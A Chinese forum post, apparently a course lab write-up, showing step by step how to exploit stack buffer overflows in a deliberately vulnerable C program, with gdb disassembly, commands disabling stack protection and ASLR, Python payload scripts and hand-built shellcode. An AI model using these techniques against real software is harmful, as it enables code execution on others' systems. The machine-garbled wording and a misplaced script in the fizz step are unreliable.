缓冲区溢出实行详细分析

[复制链接]
发表于 9 小时前 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
缓冲区溢出实行条记

声明


  • 本WP针对停止于2025年的KALI体系的WP。后续操纵体系的安全检测是否会导致本WP失效不得而知。
  • 小编任务较重,时间有限,末了一个难度仅提供思绪。
实行源代码


  • 由于编译器日新月异,曾经的代码编译会触发安全告诫,这里小编自行编写了gets不安全函数。
  1. #include<stdio.h>
  2. #include<string.h>
  3. #include<stdlib.h>
  4. char* userID;
  5. int cookie = 45; //user specific. But now just set to '45'
  6. int global_value = 0;
  7. char* gets(char* str)
  8. {
  9.     int c;
  10.     char* s = str;
  11.     while ((c = getchar()) != '\n' && c != EOF)
  12.         *s++ = c;
  13.     *s = '\0';
  14.     return str;
  15. }
  16. void bang(int val)
  17. {
  18.   if (global_value == cookie)
  19.       printf("Bang!: You set global_value to 0x%x\n",global_value);
  20.   else
  21.       printf("Bang!:  Attacked!!!!!!!!!!!!!!!!!!!\n");
  22.   exit(0);
  23. }
  24. void fizz(int val)
  25. {
  26.   if (val == cookie)
  27.        printf("Fizz!: You called fizz(0x%x)\n", val);
  28.   else
  29.        printf("Fizz!: Attacked!!!!!!!!!!!!!!!!\n");
  30.    exit(0);
  31. }
  32. void smoke()
  33. {
  34.    printf("Smoke!: You called smoke()\n");
  35.    exit(0);
  36. }
  37. //calculate a unique number for 'userID'.
  38. int uniqueval()
  39. {
  40.    int i;
  41.    i = userID[0];
  42.    return 0x11223344;
  43. }
  44. #define NORMAL_BUFFER_SIZE 32
  45. // Get input data, fill in buffer */
  46. int getbuf()
  47. {
  48.    int var_getbuf;
  49.    char buf[NORMAL_BUFFER_SIZE];
  50.    printf("Please type a string (< %d chars):",NORMAL_BUFFER_SIZE);
  51.    gets(buf);
  52.    return 1;
  53. }
  54. void test()
  55. {
  56.   int val;
  57.   /* Put canary on stack to detect possible corruption */
  58.   volatile int local = uniqueval();
  59.   val = getbuf();
  60.   /*Check for corrupted stack: local的值又没有被getbuf()函数破坏?*/
  61.     if (local != uniqueval())
  62.        printf("Sabotaged!: the stack has been corrupted\n");
  63.     else if (val == cookie)
  64.            printf("Boom!:  success\n");
  65.     else
  66.            printf("getbuf() returned 0x%x\n", val);
  67. }
  68. #define KABOOM_BUFFER_SIZE 512
  69. //getbufn() uses a bigger buffer than getbuf()
  70. int getbufn()
  71. {
  72.     char buf[KABOOM_BUFFER_SIZE];
  73.     printf("Please type a string (< %d chars):",KABOOM_BUFFER_SIZE);
  74.     gets(buf);
  75.     return 1;
  76. }
  77. void testn()
  78. {
  79.     int val;
  80.     volatile int local = uniqueval();
  81.     val = getbufn();
  82.     /* Check for corrupted stack */
  83.     if (local != uniqueval())
  84.         printf("Sabotaged!: the stack has been corrupted\n");
  85.     else if (val == cookie)
  86.         printf("KABOOM!: success\n");
  87.     else
  88.         printf("getbufn returned 0x%x\n", val);
  89. }
  90. //run this program with 2 any params such as "userID n" to test 'Kaboom' attack.
  91. int main(int argc, char**argv)
  92. {
  93.     int i;
  94.     if (argc <2 )
  95.     {
  96.          printf("Usage: %s <userID> [n]\r\n",argv[0]);
  97.          return 0;
  98.     }
  99.     userID = argv[1];
  100.     if (argc >2 )
  101.     {
  102.         //experiment 'kaboom'
  103.         printf("--- calling testn() for 'kaboom' test---\n"); //在windows系统下,回车换行符号是"\r\n".但是在Linux系统下是没有"\r"符号的。
  104.         testn();
  105.     }
  106.     else
  107.     {
  108.         //experiments exept 'kaboom'
  109.         printf("--- calling test()---\n");
  110.         test();
  111.     }
  112. }
复制代码
编译设置

起首编译的时间要开启全栈可运行,关闭PIE动态编译
指令如下:
  1. gcc -z execstack -no-pie -fno-stack-protector -g -o ${filename} ${filename}.c
复制代码
由于我们起首要包管地点稳定,其次要包管栈内的恶意代码是可以运行的。
关闭PIE难度会大大增长,但不是不能做;关闭execstack后实行难度飙升至地狱难度,涉及复杂的提权过程。
其次,难度0-3关闭栈空间地点随机化,下令如下:
  1. echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
复制代码
一、Smoke函数

1. 确定getbuf函数的栈帧布局
  1. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
  2. └─$ gdb ./main
复制代码
2. 设置断点并运行至断点处
  1. (gdb) break getbuf
  2. (gdb) run
复制代码
3. 检察反汇编
  1. (gdb) disassemble getbuf
  2. Dump of assembler code for function getbuf:
  3.    0x0000000000401272 <+0>:     push   %rbp
  4.    0x0000000000401273 <+1>:     mov    %rsp,%rbp
  5.    0x0000000000401276 <+4>:     sub    $0x20,%rsp
  6.    0x000000000040127a <+8>:     mov    $0x20,%esi
  7.    0x000000000040127f <+13>:    lea    0xe32(%rip),%rax        # 0x4020b8
  8.    0x0000000000401286 <+20>:    mov    %rax,%rdi
  9.    0x0000000000401289 <+23>:    mov    $0x0,%eax
  10.    0x000000000040128e <+28>:    call   0x401040 <printf@plt>
  11.    0x0000000000401293 <+33>:    lea    -0x20(%rbp),%rax
  12.    0x0000000000401297 <+37>:    mov    %rax,%rdi
  13.    0x000000000040129a <+40>:    call   0x401156 <gets>
  14.    0x000000000040129f <+45>:    mov    $0x1,%eax
  15.    0x00000000004012a4 <+50>:    leave
  16.    0x00000000004012a5 <+51>:    ret
  17. End of assembler dump.
复制代码
代码分析:

我们令RSP = 0

  • push   %rbp - getbuf先将test()函数的RBP生存到了本身的栈帧中,此时RSP = 0 - 8 = -8
  • mov    %rsp,%rbp - 随后将RSP放入RBP中(设置新的RBP),此时RBP = -8
  • sub    $0x20,%rsp - 将Stack Pointer向下移动32字节,开发了32字节的栈空间,此时RSP = -40
  • lea    -0x20(%rbp),%rax - RAX中就是buf的起始地点,此时RSP = -8,那么&buf = -40
栈帧梳理:
  1. +8     [返回地址]
  2. 0     [起始位置]
  3. -8     [test的旧RBP]
  4. -16    [buf[24~31]]
  5. -24    [buf[16~23]]
  6. -32    [buf[8~15]]
  7. -40    [buf[0~7]]
复制代码
4. 编写Payload

由此我们知道了只须要往BUFFER中写入40字节就能覆盖getbuf的全部栈帧,再写入Smoke的地点就OK了,代码如下:
  1. import sys
  2. smoke_addr = 0x40123a
  3. payload = b'A' * 40
  4. payload += smoke_addr.to_bytes(8, byteorder='little')
  5. with open(r'./payload/smoke.bin', 'wb') as f:
  6.     f.write(payload)
  7. print("Payload written to payload.bin")
复制代码
5. 运行验证
  1. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
  2. └─$ ./main test < ./payload/smoke.bin
  3. --- calling test()---
  4. Please type a string (< 32 chars):Smoke!: You called smoke()
复制代码
二、Fizz函数

媒介

fizz函数有一个参数,我们须要伪造一个参数。
1. 检察fizz函数的地点
  1. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
  2. └─$ objdump -d main | grep "<fizz>"
  3. 00000000004011f0 <fizz>:
复制代码
2. 进入main函数的debug模式
  1. (gdb) ./main
复制代码
3. 检察fizz函数的栈帧
  1. (gdb) disas fizz
  2. Dump of assembler code for function fizz:
  3.    0x00000000004011f0 <+0>:     push   %rbp
  4.    0x00000000004011f1 <+1>:     mov    %rsp,%rbp
  5.    0x00000000004011f4 <+4>:     sub    $0x10,%rsp
  6.    0x00000000004011f8 <+8>:     mov    %edi,-0x4(%rbp)
  7.    0x00000000004011fb <+11>:    mov    0x2e2f(%rip),%eax        # 0x404030 <cookie>
  8.    0x0000000000401201 <+17>:    cmp    %eax,-0x4(%rbp)
  9.    0x0000000000401204 <+20>:    jne    0x401221 <fizz+49>
  10.    0x0000000000401206 <+22>:    mov    -0x4(%rbp),%eax
  11.    0x0000000000401209 <+25>:    mov    %eax,%esi
  12.    0x000000000040120b <+27>:    lea    0xe42(%rip),%rax        # 0x402054
  13.    0x0000000000401212 <+34>:    mov    %rax,%rdi
  14.    0x0000000000401215 <+37>:    mov    $0x0,%eax
  15.    0x000000000040121a <+42>:    call   0x401040 <printf@plt>
  16.    0x000000000040121f <+47>:    jmp    0x401230 <fizz+64>
  17.    0x0000000000401221 <+49>:    lea    0xe50(%rip),%rax        # 0x402078
  18.    0x0000000000401228 <+56>:    mov    %rax,%rdi
  19.    0x000000000040122b <+59>:    call   0x401030 <puts@plt>
  20.    0x0000000000401230 <+64>:    mov    $0x0,%edi
复制代码
代码分析:

我们令RSP = 0

  • push   %rbp - 同样,生存旧的RBP;RSP = 0 - 8 = -8
  • mov    %rsp,%rbp - 同样,将RPB更新;RBP = -8
  • sub    $0x10,%rsp - 开发一份16字节的空间;RSP = -8 - 16 = -24
  • mov    %edi,-0x4(%rbp) - 将EDI中的内容放入RBP - 4 = -12中,这里已经可以推测就是参数val了
  • mov    0x2e2f(%rip),%eax - (EAX) = cookie
  • cmp    %eax,-0x4(%rbp) - 这就是if (val == cookie)的判断语句
综上我们已经把握了函数的全部内容:


  • RBP - 4: 参数
  • EAX: cookie
4. 检察getbuf的地点
  1. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
  2. └─$ objdump -d main | grep "<getbuf>"
  3. 0000000000401272 <getbuf>:
复制代码
5. 确认攻击流程

实在我们看了汇编就是知道,步伐只知道 RBP-4 存放了参数,以是我们只要让RBP指向 &cookie+4 的位置步伐就会以为cookie便是value。
我们得知cookie的地点是0x404030,因此我们须要让RBP=0x404034。
但是fizz函数的汇编告诉我们它一开始会生存旧的RBP(也就是getbuf的),我们就没法通过修改RBP的值通过val==cookie验证。
但是我们可以直接绕过验证,直接把返回地点设置为0x401206(详细内容见上),就可以绕过验证了。
6. 编写代码
  1. import sys
  2. smoke_addr = 0x40123a
  3. payload = b'A' * 40
  4. payload += smoke_addr.to_bytes(8, byteorder='little')
  5. with open(r'./payload/smoke.bin', 'wb') as f:
  6.     f.write(payload)
  7. print("Payload written to payload.bin")
复制代码
7. 验证
  1. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
  2. └─$ python3 ./fizz.py
  3. Payload written to payload.bin
  4. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
  5. └─$ ./main test < ./payload/fizz.bin
  6. --- calling test()---
  7. Please type a string (< 32 chars):Fizz!: You called fizz(0x2d)
复制代码
三、Bang函数

媒介

在我们运行步伐的时间,实在就算关闭的PIE功能,步伐的运行情况差别也会导致栈布局的差别。
在本内容中,我们须要通过修改getbuf函数的返回地点(变为我们的恶意代码的起始地点,很多病毒的根本逻辑)
但是由于情况会发生厘革,以是偶尔候会出现GDB情况下可以运行,但是直接运行会出现segment default大概instruction default。效果如下所示:
  1. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]└─$ ./main test < ./payload/bang.bin--- calling test()---Segmentation fault┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
  2. └─$ gdb ./mainGNU gdb (Debian 16.3-1) 16.3Copyright (C) 2024 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Type "show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:.Find the GDB manual and other documentation resources online at:    .For help, type "help".Type "apropos word" to search for commands related to "word"...Reading symbols from ./main...(gdb) run test < ./payload/bang.binStarting program: /mnt/d/Code/C/VSCode/IOT/main test < ./payload/bang.bin[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".--- calling test()---Please type a string (< 32 chars):Bang!: You set global_value to 0x2d[Inferior 1 (process 1032) exited normally]
复制代码
本质缘故原由就是运行情况的差别导致栈帧发生了位移。比如我们在运行gbd的时间gbd加载的是绝对地点,但是./main运行则是相对地点,参数的差别肯定是会导致栈帧发生厘革的。
因此r.sh就是用来固化情况的脚本,每次运行之前用r.sh固化情况就可以包管栈地点每次运行都是类似的。
参考:


  • https://www.mathyvanhoef.com/2012/11/common-pitfalls-when-writing-exploits.html
  • https://github.com/hellman/fixenv/blob/master/r.sh
0. 重新检察buf的起始地点

此部门我们须要重新检察buf的起始地点,由于我们须要固化栈地点来确定到底buf首地点在那里。
  1. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
  2. └─$ ./r.sh gdb ./main
复制代码
  1. (gdb) disassemble getbuf
  2. Dump of assembler code for function getbuf:
  3.    0x0000000000401272 <+0>:     push   %rbp
  4.    0x0000000000401273 <+1>:     mov    %rsp,%rbp
  5.    0x0000000000401276 <+4>:     sub    $0x20,%rsp
  6.    0x000000000040127a <+8>:     mov    $0x20,%esi
  7.    0x000000000040127f <+13>:    lea    0xe32(%rip),%rax        # 0x4020b8
  8.    0x0000000000401286 <+20>:    mov    %rax,%rdi
  9.    0x0000000000401289 <+23>:    mov    $0x0,%eax
  10.    0x000000000040128e <+28>:    call   0x401040 <printf@plt>
  11.    0x0000000000401293 <+33>:    lea    -0x20(%rbp),%rax
  12.    0x0000000000401297 <+37>:    mov    %rax,%rdi
  13.    0x000000000040129a <+40>:    call   0x401156 <gets>
  14.    0x000000000040129f <+45>:    mov    $0x1,%eax
  15.    0x00000000004012a4 <+50>:    leave
  16.    0x00000000004012a5 <+51>:    ret
  17. End of assembler dump.
复制代码
  1. (gdb) break *0x40129a
  2. Breakpoint 1 at 0x40129a: file main.c, line 59.
  3. (gdb) run test < ./payload/bang.bin
  4. Starting program: /mnt/d/Code/C/VSCode/IOT/.launcher test < ./payload/bang.bin
  5. [Thread debugging using libthread_db enabled]
  6. Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
  7. --- calling test()---
  8. Breakpoint 1, 0x000000000040129a in getbuf () at main.c:59
  9. 59         gets(buf);
  10. (gdb) info registers rax rdi
  11. rax            0x7fffffffd940      140737488345408
  12. rdi            0x7fffffffd940      140737488345408
复制代码
由此我们可以看到buf的起始地点居然变成了0x7fffffffd940(幽默)。
1. 检察bang函数的地点
  1. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
  2. └─$ objdump -d main | grep "<bang>"
  3. 000000000040119e <bang>:
复制代码
2. 检察bang反汇编
  1. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
  2. └─$ ./r.sh gdb ./main
复制代码
  1. (gdb) disassemble bang
  2. Dump of assembler code for function bang:
  3.    0x000000000040119e <+0>:     push   %rbp
  4.    0x000000000040119f <+1>:     mov    %rsp,%rbp
  5.    0x00000000004011a2 <+4>:     sub    $0x10,%rsp
  6.    0x00000000004011a6 <+8>:     mov    %edi,-0x4(%rbp)
  7.    0x00000000004011a9 <+11>:    mov    0x2e99(%rip),%edx        # 0x404048 <global_value>
  8.    0x00000000004011af <+17>:    mov    0x2e7b(%rip),%eax        # 0x404030 <cookie>
  9.    0x00000000004011b5 <+23>:    cmp    %eax,%edx
  10.    0x00000000004011b7 <+25>:    jne    0x4011d7 <bang+57>
  11.    0x00000000004011b9 <+27>:    mov    0x2e89(%rip),%eax        # 0x404048 <global_value>
  12.    0x00000000004011bf <+33>:    mov    %eax,%esi
  13.    0x00000000004011c1 <+35>:    lea    0xe40(%rip),%rax        # 0x402008
  14.    0x00000000004011c8 <+42>:    mov    %rax,%rdi
  15.    0x00000000004011cb <+45>:    mov    $0x0,%eax
  16.    0x00000000004011d0 <+50>:    call   0x401040 <printf@plt>
  17.    0x00000000004011d5 <+55>:    jmp    0x4011e6 <bang+72>
  18.    0x00000000004011d7 <+57>:    lea    0xe52(%rip),%rax        # 0x402030
  19.    0x00000000004011de <+64>:    mov    %rax,%rdi
复制代码
代码分析:

我们令RSP = 0

  • push   %rbp - 同样,生存旧的RBP;RSP = 0 - 8 = -8
  • mov    %rsp,%rbp - 同样,将RPB更新;RBP = -8
  • sub    $0x10,%rsp - 开发一份16字节的空间;RSP = -8 - 16 = -24
  • mov    %edi,-0x4(%rbp) - 将EDI中的内容放入RBP - 4 = -12中,这里也是可以推测就是参数val了
  • mov    0x2e99(%rip),%edx - (EDX) = global_value
  • mov    0x2e7b(%rip),%eax - (EAX) = cookie
信息分析:


  • &cookie = 0x404030
  • &global_value = 0x404048
信息汇总:


  • &cookie = 0x404030
  • &global_value = 0x404048
  • &buf = 0x7fffffffd940
  • &bang = 0x40119e
3. 编写代码,将cookie的值(0x2d)放入global_value中
  1. mov $0x2d, %rdx
  2. mov %rdx, 0x404048
  3. push $0x40119e
  4. ret
复制代码
4. 编译后检察呆板码
  1. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
  2. └─$ gcc -c ./assembly/bang.s -o ./assembly/bang.o
  3. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
  4. └─$ objdump -d ./assembly/bang.o
  5. ./assembly/bang.o:     file format elf64-x86-64
  6. Disassembly of section .text:
  7. 0000000000000000 <.text>:
  8.    0:   48 c7 c2 2d 00 00 00    mov    $0x2d,%rdx
  9.    7:   48 89 14 25 48 40 40    mov    %rdx,0x404048
  10.    e:   00
  11.    f:   68 9e 11 40 00          push   $0x40119e
  12.   14:   c3                      ret
复制代码
5. 编写脚本
  1. import sys
  2. shellcode = b'\x48\xc7\xc2\x2d\x00\x00\x00'  # mov $0x404030,%rdx
  3. shellcode += b'\x48\x89\x14\x25\x48\x40\x40\x00'  # mov %rdx,0x404048
  4. shellcode += b'\x68\x9e\x11\x40\x00'  # push $0x40119e
  5. shellcode += b'\xc3'  # ret
  6. buf_addr = 0x7fffffffd940
  7. buf_size = 32
  8. padding_size = buf_size - len(shellcode)
  9. payload = shellcode
  10. payload += b'A' * padding_size
  11. payload += b'B' * 8
  12. payload += buf_addr.to_bytes(8, byteorder='little')  # 覆盖返回地址
  13. with open(r'./payload/bang.bin', 'wb') as f:
  14.     f.write(payload)
  15. print("Payload written to bang.bin")
复制代码
6. 运行
  1. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
  2. └─$ ./r.sh ./main test < ./payload/bang.bin
  3. --- calling test()---
  4. Please type a string (< 32 chars):Bang!: You set global_value to 0x2d
复制代码
四、Boom函数

媒介

本难度任务就是修复粉碎掉的现场,使得步伐可以或许正常返回到test中而且输出“Boom!:  success”
1. 检察test函数的反汇编代码
  1. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
  2. └─$ gdb ./main
复制代码
  1. (gdb) disassemble test
  2. Dump of assembler code for function test:
  3.    0x00000000004012a6 <+0>:     push   %rbp
  4.    0x00000000004012a7 <+1>:     mov    %rsp,%rbp
  5.    0x00000000004012aa <+4>:     sub    $0x10,%rsp
  6.    0x00000000004012ae <+8>:     mov    $0x0,%eax
  7.    0x00000000004012b3 <+13>:    call   0x401257 <uniqueval>
  8.    0x00000000004012b8 <+18>:    mov    %eax,-0x8(%rbp)
  9.    0x00000000004012bb <+21>:    mov    $0x0,%eax
  10.    0x00000000004012c0 <+26>:    call   0x401272 <getbuf>
  11.    0x00000000004012c5 <+31>:    mov    %eax,-0x4(%rbp)
  12.    0x00000000004012c8 <+34>:    mov    $0x0,%eax
  13.    0x00000000004012cd <+39>:    call   0x401257 <uniqueval>
  14.    0x00000000004012d2 <+44>:    mov    %eax,%edx
  15.    0x00000000004012d4 <+46>:    mov    -0x8(%rbp),%eax
  16.    0x00000000004012d7 <+49>:    cmp    %eax,%edx
  17.    0x00000000004012d9 <+51>:    je     0x4012ec <test+70>
  18.    0x00000000004012db <+53>:    lea    0xdfe(%rip),%rax        # 0x4020e0
  19.    0x00000000004012e2 <+60>:    mov    %rax,%rdi
  20.    0x00000000004012e5 <+63>:    call   0x401030 <puts@plt>
  21.    0x00000000004012ea <+68>:    jmp    0x401321 <test+123>
  22.    0x00000000004012ec <+70>:    mov    0x2d3e(%rip),%eax        # 0x404030 <cookie>
  23.    0x00000000004012f2 <+76>:    cmp    %eax,-0x4(%rbp)
  24.    0x00000000004012f5 <+79>:    jne    0x401308 <test+98>
  25.    0x00000000004012f7 <+81>:    lea    0xe0b(%rip),%rax        # 0x402109
  26.    0x00000000004012fe <+88>:    mov    %rax,%rdi
  27.    0x0000000000401301 <+91>:    call   0x401030 <puts@plt>
  28.    0x0000000000401306 <+96>:    jmp    0x401321 <test+123>
  29.    0x0000000000401308 <+98>:    mov    -0x4(%rbp),%eax
  30.    0x000000000040130b <+101>:   mov    %eax,%esi
  31.    0x000000000040130d <+103>:   lea    0xe05(%rip),%rax        # 0x402119
  32.    0x0000000000401314 <+110>:   mov    %rax,%rdi
  33.    0x0000000000401317 <+113>:   mov    $0x0,%eax
  34.    0x000000000040131c <+118>:   call   0x401040 <printf@plt>
  35.    0x0000000000401321 <+123>:   nop
  36.    0x0000000000401322 <+124>:   leave
  37.    0x0000000000401323 <+125>:   ret
复制代码
代码分析:


  • push   %rbp - 生存旧的RBP
  • mov    %rsp,%rbp - 设置新RBP,与当前Stack Pointer类似
  • call   0x401257  - 调用uniqueval函数
  • sub    $0x10,%rsp - RSP向下移动16字节,即开发16字节空间
  • mov    $0x0,%eax - EAX清零操纵
  • mov    %eax,-0x8(%rbp) - 将返回值生存到RBP-8的位置,这里大概就是local局部变量的位置了
  • call   0x401272  - 调用getbuf函数
  • mov    %eax,-0x4(%rbp) - 将返回值生存到RBP-4的位置,这里大概就是val局部变量的位置了
  • call   0x401257  - 调用getbuf函数
  • mov    %eax,%edx - 返回值(0x11223344)生存到EDX中
  • mov    -0x8(%rbp),%eax - 将局部变量local的值放在EAX中
  • cmp    %eax,%edx - 本质上就是分析local的值是否被恶意修改了
  • je     0x4012ec  - 相称(没有被修改掉)则跳转
  • mov    0x2d3e(%rip),%eax - cookie的值放到EAX中
  • cmp    %eax,-0x4(%rbp) - if (cookie == val)
2. 思绪分析

到这里我们实在就可以发现只要将EAX中的值修改为cookie实在就没什么标题了。然后就会输出“Boom!:  success”的字符串。
再者,我们32字节的buf覆盖完成之后,由于getbuf先前PUSH了一个RBP,以是这里我们要使用RBP的原来的值举行覆盖(这是最简朴的方式,但不是唯一的方式)
然后就是跳转地点,我以为我们可以跳转到 0x4012c5 实行mov %eax,%edx 操纵。如许我们的val就被更换成cookie了。
但是!这并不像我们实行陈诉上写的那么简朴!!!
留意:在跳转之后我们另有一个标题,先分析如下代码:
  1. call   0x401257 <uniqueval>
  2. mov    %eax,%edx
  3. mov    -0x8(%rbp),%eax
  4. cmp    %eax,%edx
  5. je     0x4012ec <test+70>
复制代码
在真正进入"Boom: success"之前,我们还要办理验证的标题。也就是我们要从-0x8(%rbp)处拿到我们的local数据和真正的local(0x11223344)举行比力
但是我们直接就跳转到了 0x4012c5,根本没有对-0x8(%rbp)举行初始化,因此我们的payload还要对这个地点举行初始化。
那我们理论存在,实践开始!
3. 检察RBP中到存放的信息,得知是0x7fffffffd930
  1. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
  2. └─$ gdb ./main
复制代码
  1. (gdb) disassemble getbuf
  2. Dump of assembler code for function getbuf:
  3.    0x0000000000401272 <+0>:     push   %rbp
  4.    0x0000000000401273 <+1>:     mov    %rsp,%rbp
  5.    0x0000000000401276 <+4>:     sub    $0x20,%rsp
  6.    0x000000000040127a <+8>:     mov    $0x20,%esi
  7.    0x000000000040127f <+13>:    lea    0xe32(%rip),%rax        # 0x4020b8
  8.    0x0000000000401286 <+20>:    mov    %rax,%rdi
  9.    0x0000000000401289 <+23>:    mov    $0x0,%eax
  10.    0x000000000040128e <+28>:    call   0x401040 <printf@plt>
  11.    0x0000000000401293 <+33>:    lea    -0x20(%rbp),%rax
  12.    0x0000000000401297 <+37>:    mov    %rax,%rdi
  13.    0x000000000040129a <+40>:    call   0x401156 <gets>
  14.    0x000000000040129f <+45>:    mov    $0x1,%eax
  15.    0x00000000004012a4 <+50>:    leave
  16.    0x00000000004012a5 <+51>:    ret
  17. End of assembler dump.
复制代码
  1. (gdb) break *0x401273
  2. Breakpoint 1 at 0x401273: file main.c, line 55.
  3. (gdb) run test
  4. (gdb) info registers rbp
  5. rbp            0x7fffffffd930      0x7fffffffd930
复制代码
4. 编写恶意代码,并编译,检察呆板码
  1. movl $0x11223344, %eax
  2. movl %eax, 0x7fffffffd928
  3. movq $0x2d, %rax
  4. pushq $0x4012c5
  5. ret
复制代码
  1. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT/assembly]
  2. └─$ gcc -c boom.s -o boom.o
  3. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT/assembly]
  4. └─$ objdump -d ./boom.o
  5. ./boom.o:     file format elf64-x86-64
  6. Disassembly of section .text:
  7. 0000000000000000 <.text>:
  8.    0:   b8 44 33 22 11          mov    $0x11223344,%eax
  9.    5:   a3 24 d9 ff ff ff 7f    movabs %eax,0x7fffffffd924
  10.    c:   00 00
  11.    e:   48 c7 c0 2d 00 00 00    mov    $0x2d,%rax
  12.   15:   68 c5 12 40 00          push   $0x4012c5
  13.   1a:   c3                      ret
复制代码
5. 编写脚本
  1. import sys
  2. shellcode = b'\xb8\x44\x33\x22\x11' # mov $0x11223344,%eax
  3. shellcode += b'\xa3\x28\xd9\xff\xff\xff\x7f\x00\x00' # movabs %eax,0x7fffffffd928
  4. shellcode += b'\x48\xc7\xc0\x2d\x00\x00\x00'  # mov $0x404030,%rdx
  5. shellcode += b'\x68\xc5\x12\x40\x00'  # push   0x4012c5
  6. shellcode += b'\xc3'  # ret
  7. buf_addr = 0x7fffffffd940
  8. RBP_value = 0x7fffffffd980
  9. buf_size = 32
  10. padding_size = buf_size - len(shellcode)
  11. payload = shellcode
  12. payload += b'A' * padding_size
  13. payload += RBP_value.to_bytes(8, byteorder='little')
  14. payload += buf_addr.to_bytes(8, byteorder='little')  # 覆盖返回地址
  15. with open(r'./payload/boom.bin', 'wb') as f:
  16.     f.write(payload)
  17. print("Payload written to boom.bin")
复制代码
6. 运行
  1. ┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
  2. └─$ ./r.sh ./main test < ./payload/boom.bin
  3. --- calling test()---
  4. Please type a string (< 32 chars):Boom!:  success
复制代码
五、 512字节大缓冲区溢出

媒介

这里的话我们看标题意思就是说我们要关闭掉我们的情况固化脚本,让栈帧可以在肯定微小范围内举行颠簸。
由于512字节已经富足大到覆盖掉偏移范围。
因此我们只须要把我们的shellcode放置在payload末了,而且用NOP和现场值添补剩余的空间就行了。
原理实在很简朴,由于如果发生偏移了,那么也会偏移到后续的NOP指令开始实行代码,终极都会回到Shellcode上的。
实在本人在没有办理栈帧微小偏移之前,用的就是这个方法。详细信息见下:
  1. import sys
  2. shellcode = b'\x48\xc7\xc2\x2d\x00\x00\x00'  # mov $0x404030,%rdx
  3. shellcode += b'\x48\x89\x14\x25\x48\x40\x40\x00'  # mov %rdx,0x404048
  4. shellcode += b'\x68\x9e\x11\x40\x00'  # push $0x40119e
  5. shellcode += b'\xc3'  # ret
  6. buf_addr = 0x7fffffffd940
  7. buf_size = 32
  8. padding_size = buf_size - len(shellcode)
  9. payload = b'\x90' * padding_size
  10. payload += shellcode
  11. payload += b'\x90' * 8
  12. payload += buf_addr.to_bytes(8, byteorder='little')  # 覆盖返回地址
  13. with open(r'./payload/bang.bin', 'wb') as f:
  14.     f.write(payload)
  15. print("Payload written to bang.bin")
复制代码
由于这个缓冲区太小了,没办法完全覆盖栈空间的厘革,因此偶尔候我们以为的buf_addr实在是要比现实的buf_addr大的(至少大了 buf_size - len(shellcode) + 8 个字节,也就是NOP的字节数),因此也照旧会报"Segmentation Default"之类的错误的。
这个思绪就是本题所涉及的思绪。毕竟作者时间有限,没法完成后续的工作了,这部门工作就交给读者照葫芦画瓢地完成吧!
别忘了,按照这个难度的题意,我们要开启栈空间随机化,而且实行扬弃r.sh脚本的辅助试一试。至于扬弃r.sh脚本到底能否做得出来,是有待实行探寻的。毕竟操纵体系日新月异,老课本的栈空间随机化以及运行情况导致的栈帧差别在现在的盘算机情况上照旧有很多不确定性的。
如下下令用于开启栈空间随机化:
  1. echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
复制代码
1. 检察getbufn的反汇编代码,而且在相应的位置设置断点
  1. (gdb) disas getbufn
  2. Dump of assembler code for function getbufn:
  3.    0x0000000000401324 <+0>:     push   %rbp
  4.    0x0000000000401325 <+1>:     mov    %rsp,%rbp
  5.    0x0000000000401328 <+4>:     sub    $0x200,%rsp
  6.    0x000000000040132f <+11>:    mov    $0x200,%esi
  7.    0x0000000000401334 <+16>:    lea    0xd7d(%rip),%rax        # 0x4020b8
  8.    0x000000000040133b <+23>:    mov    %rax,%rdi
  9.    0x000000000040133e <+26>:    mov    $0x0,%eax
  10.    0x0000000000401343 <+31>:    call   0x401040 <printf@plt>
  11.    0x0000000000401348 <+36>:    lea    -0x200(%rbp),%rax
  12.    0x000000000040134f <+43>:    mov    %rax,%rdi
  13.    0x0000000000401352 <+46>:    call   0x401156 <gets>
  14.    0x0000000000401357 <+51>:    mov    $0x1,%eax
  15.    0x000000000040135c <+56>:    leave
  16.    0x000000000040135d <+57>:    ret
  17. End of assembler dump.
复制代码
  1. (gdb) break *0x401324
  2. Breakpoint 1 at 0x401324: file main.c, line 83.
复制代码
  1. (gdb) break *0x401352
  2. Breakpoint 2 at 0x401352: file main.c, line 86.
复制代码
未完待续...


  • 如有任何标题,欢欢迎洽:christianorsted05@outlook.com

